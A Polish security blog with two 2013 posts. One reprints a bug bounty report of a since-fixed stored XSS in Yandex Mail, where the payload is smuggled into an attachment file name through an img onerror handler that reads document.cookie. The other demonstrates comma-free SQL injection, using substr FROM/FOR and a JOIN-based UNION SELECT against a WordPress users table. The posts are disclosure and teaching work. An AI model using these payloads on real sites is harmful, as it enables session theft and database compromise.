czwartek, 7 marca 2013

Stored XSS - Yandex Mail

Zgłoszony ponad dwa miesiące temu, dawno poprawiony - stored XSS w usłudze Yandex Mail objętej programem bug bounty.

Poniżej oryginalne zgłoszenie:

Hello there,

I just found an stored cross-site scripting vulnerability in Yandex.Mail. Here's a short info about reproduction of this bug: 

1) Victim gets mail with picture of sweet kitteh ;) attachment name is: 

kitteh<img src=a onerror=alert(document.cookie)>hhhh.jpg

2) As you can see - picture looks really cute - that's why victim decides to zoom it. After clicking the thumbnail - javascript code executes. 

I attached some screenshot. 

Waiting for feedback. 

Greetings,
Jakub Zoczek




środa, 6 marca 2013

SQL Injection without comma char

Ostatnio podczas testowania pewnej strony na podatność SQL Injection zostało na mnie - podejrzewam nieświadomie - nałożone sprytne ograniczenie w postaci braku możliwości wykorzystania przecinka. Prawdopodobnie był on kiedyś separatorem parametrów przekazywanych przez GET, jednak z tego co zaobserwowałem tylko jedna część brała udział w zapytaniu.

Pojawiają się dwa pytania - jak użyć funkcji, w których separatorem parametrów jest przecinek, oraz najważniejsze - jak zrobić union select? ;-) Jakby ktoś kiedyś potrzebował:

mysql> SELECT substr('test',1,1);
+--------------------+
| substr('test',1,1) |
+--------------------+
| t                  |
+--------------------+
1 row in set (0.00 sec)

mysql> SELECT substr('test' FROM 1 FOR 1);
+-----------------------------+
| substr('test' FROM 1 FOR 1) |
+-----------------------------+
| t                           |
+-----------------------------+
1 row in set (0.00 sec)


Klucz programu:


mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT null,user();
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

mysql> SELECT user_login, user_pass FROM wp_users WHERE user_login='-1' UNION SELECT * FROM (SELECT null) AS a JOIN (SELECT user()) AS b;
+------------+------------------+
| user_login | user_pass        |
+------------+------------------+
| NULL       | zoczus@localhost |
+------------+------------------+
1 row in set (0.00 sec)

Have fun!